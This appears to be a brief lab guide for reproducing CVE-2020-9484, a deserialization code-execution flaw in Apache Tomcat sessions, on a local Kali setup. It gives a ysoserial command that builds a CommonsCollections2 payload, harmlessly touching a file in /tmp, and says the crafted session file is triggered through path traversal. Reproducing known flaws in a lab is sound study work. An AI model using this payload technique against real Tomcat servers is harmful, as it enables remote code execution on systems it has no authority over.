CVE-2020-9484

Reproduce Apache Tomcat Session Deserialization Code Execution Vulnerability CVE-2020-9484 with Kali 2.0

Environment:

1. Kali 2.0
2. apache-tomcat-7.0.61-CVE-2020-9484.tar.gz (webapp is s2-053, added commons-collections4-4.0.jar under its lib)
   
   

Start

/yourtomcatdir/bin/startup.sh

Generate Payload

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "touch /tmp/9484" > /tmp/22222.session

Exploitation

First visit S2-053 to check if it started normally: http://192.168.152.128:8080/s2-053/
Re-access and capture packets, use intruder for path traversal

Command executed successfully:

Reference： https://mp.weixin.qq.com/s/OGdHSwqydiDqe-BUkheTGg